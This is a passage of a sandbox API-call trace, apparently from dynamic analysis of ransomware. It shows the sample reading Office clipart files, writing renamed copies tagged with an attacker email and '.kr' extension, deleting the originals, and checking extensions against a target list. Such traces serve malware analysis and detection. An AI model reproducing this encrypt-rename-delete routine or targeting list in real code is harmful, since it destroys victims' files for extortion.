Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.616] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf")) returned 1 [0213.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0213.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0213.618] lstrlenW (lpString=".doc") returned 4 [0213.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.618] lstrlenW (lpString=".docx") returned 5 [0213.618] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0213.618] lstrlenW (lpString=".pdf") returned 4 [0213.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.618] lstrlenW (lpString=".xls") returned 4 [0213.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.618] lstrlenW (lpString=".xlsx") returned 5 [0213.618] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0213.618] lstrlenW (lpString=".ppt") returned 4 [0213.618] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0213.618] lstrlenW (lpString=".zip") returned 4 [0213.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.618] lstrlenW (lpString=".rar") returned 4 [0213.618] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.618] lstrlenW (lpString=".bz2") returned 4 [0213.618] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.619] lstrlenW (lpString=".7z") returned 3 [0213.619] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0213.619] lstrlenW (lpString=".dbf") returned 4 [0213.619] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0213.619] lstrlenW (lpString=".1cd") returned 4 [0213.619] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0213.619] lstrlenW (lpString=".jpg") returned 4 [0213.619] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0213.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0213.619] lstrlenW (lpString=".doc") returned 4 [0213.619] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.619] lstrlenW (lpString=".docx") returned 5 [0213.619] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0213.619] lstrlenW (lpString=".pdf") returned 4 [0213.619] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.619] lstrlenW (lpString=".xls") returned 4 [0213.619] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.619] lstrlenW (lpString=".xlsx") returned 5 [0213.619] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0213.619] lstrlenW (lpString=".ppt") returned 4 [0213.619] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0213.619] lstrlenW (lpString=".zip") returned 4 [0213.619] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.619] lstrlenW (lpString=".rar") returned 4 [0213.619] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.619] lstrlenW (lpString=".bz2") returned 4 [0213.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.619] lstrlenW (lpString=".7z") returned 3 [0213.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0213.620] lstrlenW (lpString=".dbf") returned 4 [0213.620] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0213.620] lstrlenW (lpString=".1cd") returned 4 [0213.620] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0213.620] lstrlenW (lpString=".jpg") returned 4 [0213.620] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.620] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0213.620] lstrlenW (lpString="J0107658.WMF") returned 12 [0213.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0213.622] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=7072) returned 1 [0213.622] CloseHandle (hObject=0x478) returned 1 [0213.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf")) returned 0x220 [0213.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0213.622] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.623] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0213.623] GetLastError () returned 0x0 [0213.623] ReadFile (in: hFile=0x478, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x1ba0, lpOverlapped=0x0) returned 1 [0213.625] WriteFile (in: hFile=0x474, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0213.626] ReadFile (in: hFile=0x478, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0213.626] WriteFile (in: hFile=0x474, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0213.626] SetEndOfFile (hFile=0x474) returned 1 [0213.626] CloseHandle (hObject=0x474) returned 1 [0213.626] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.626] SetEndOfFile (hFile=0x478) returned 1 [0213.633] CloseHandle (hObject=0x478) returned 1 [0213.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.634] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf")) returned 1 [0213.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0213.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0213.635] lstrlenW (lpString=".doc") returned 4 [0213.635] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.635] lstrlenW (lpString=".docx") returned 5 [0213.635] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0213.635] lstrlenW (lpString=".pdf") returned 4 [0213.635] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.635] lstrlenW (lpString=".xls") returned 4 [0213.635] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.635] lstrlenW (lpString=".xlsx") returned 5 [0213.635] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0213.635] lstrlenW (lpString=".ppt") returned 4 [0213.635] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0213.635] lstrlenW (lpString=".zip") returned 4 [0213.635] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.635] lstrlenW (lpString=".rar") returned 4 [0213.635] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.635] lstrlenW (lpString=".bz2") returned 4 [0213.635] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.635] lstrlenW (lpString=".7z") returned 3 [0213.635] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0213.635] lstrlenW (lpString=".dbf") returned 4 [0213.635] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0213.635] lstrlenW (lpString=".1cd") returned 4 [0213.635] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0213.635] lstrlenW (lpString=".jpg") returned 4 [0213.635] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0213.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0213.636] lstrlenW (lpString=".doc") returned 4 [0213.636] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.636] lstrlenW (lpString=".docx") returned 5 [0213.636] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0213.636] lstrlenW (lpString=".pdf") returned 4 [0213.636] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.636] lstrlenW (lpString=".xls") returned 4 [0213.636] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.636] lstrlenW (lpString=".xlsx") returned 5 [0213.636] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0213.636] lstrlenW (lpString=".ppt") returned 4 [0213.636] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0213.636] lstrlenW (lpString=".zip") returned 4 [0213.636] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.636] lstrlenW (lpString=".rar") returned 4 [0213.636] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.636] lstrlenW (lpString=".bz2") returned 4 [0213.636] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.636] lstrlenW (lpString=".7z") returned 3 [0213.636] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0213.636] lstrlenW (lpString=".dbf") returned 4 [0213.636] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0213.636] lstrlenW (lpString=".1cd") returned 4 [0213.636] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0213.636] lstrlenW (lpString=".jpg") returned 4 [0213.636] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.637] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0213.637] lstrlenW (lpString="J0107708.WMF") returned 12 [0213.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0213.637] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=4808) returned 1 [0213.637] CloseHandle (hObject=0x478) returned 1 [0213.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf")) returned 0x220 [0213.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0213.638] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.638] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0213.639] GetLastError () returned 0x0 [0213.639] ReadFile (in: hFile=0x478, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x12c8, lpOverlapped=0x0) returned 1 [0213.640] WriteFile (in: hFile=0x474, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x12d0, lpOverlapped=0x0) returned 1 [0213.641] ReadFile (in: hFile=0x478, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0213.641] WriteFile (in: hFile=0x474, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0213.642] SetEndOfFile (hFile=0x474) returned 1 [0213.642] CloseHandle (hObject=0x474) returned 1 [0213.642] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.642] SetEndOfFile (hFile=0x478) returned 1 [0213.644] CloseHandle (hObject=0x478) returned 1 [0213.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf")) returned 1 [0213.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0213.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0213.645] lstrlenW (lpString=".doc") returned 4 [0213.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.646] lstrlenW (lpString=".docx") returned 5 [0213.646] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0213.646] lstrlenW (lpString=".pdf") returned 4 [0213.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.646] lstrlenW (lpString=".xls") returned 4 [0213.646] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.646] lstrlenW (lpString=".xlsx") returned 5 [0213.646] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0213.646] lstrlenW (lpString=".ppt") returned 4 [0213.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0213.646] lstrlenW (lpString=".zip") returned 4 [0213.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.646] lstrlenW (lpString=".rar") returned 4 [0213.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.646] lstrlenW (lpString=".bz2") returned 4 [0213.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.646] lstrlenW (lpString=".7z") returned 3 [0213.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0213.646] lstrlenW (lpString=".dbf") returned 4 [0213.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0213.646] lstrlenW (lpString=".1cd") returned 4 [0213.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0213.646] lstrlenW (lpString=".jpg") returned 4 [0213.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0213.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0213.646] lstrlenW (lpString=".doc") returned 4 [0213.647] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.647] lstrlenW (lpString=".docx") returned 5 [0213.647] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0213.647] lstrlenW (lpString=".pdf") returned 4 [0213.647] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.647] lstrlenW (lpString=".xls") returned 4 [0213.647] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.647] lstrlenW (lpString=".xlsx") returned 5 [0213.647] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0213.647] lstrlenW (lpString=".ppt") returned 4 [0213.647] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0213.647] lstrlenW (lpString=".zip") returned 4 [0213.647] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.647] lstrlenW (lpString=".rar") returned 4 [0213.647] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.647] lstrlenW (lpString=".bz2") returned 4 [0213.647] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.647] lstrlenW (lpString=".7z") returned 3 [0213.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0213.647] lstrlenW (lpString=".dbf") returned 4 [0213.648] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0213.648] lstrlenW (lpString=".1cd") returned 4 [0213.648] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0213.648] lstrlenW (lpString=".jpg") returned 4 [0213.648] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.648] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0213.648] lstrlenW (lpString="J0107712.WMF") returned 12 [0213.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0213.649] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=4636) returned 1 [0213.649] CloseHandle (hObject=0x478) returned 1 [0213.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf")) returned 0x220 [0213.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0213.649] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.649] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0213.650] GetLastError () returned 0x0 [0213.650] ReadFile (in: hFile=0x478, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x121c, lpOverlapped=0x0) returned 1 [0213.930] WriteFile (in: hFile=0x474, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x1220, lpOverlapped=0x0) returned 1 [0213.931] ReadFile (in: hFile=0x478, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0213.931] WriteFile (in: hFile=0x474, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0213.931] SetEndOfFile (hFile=0x474) returned 1 [0214.132] CloseHandle (hObject=0x474) returned 1 [0214.132] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.132] SetEndOfFile (hFile=0x478) returned 1 [0214.135] CloseHandle (hObject=0x478) returned 1 [0214.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf")) returned 1 [0214.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0214.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0214.156] lstrlenW (lpString=".doc") returned 4 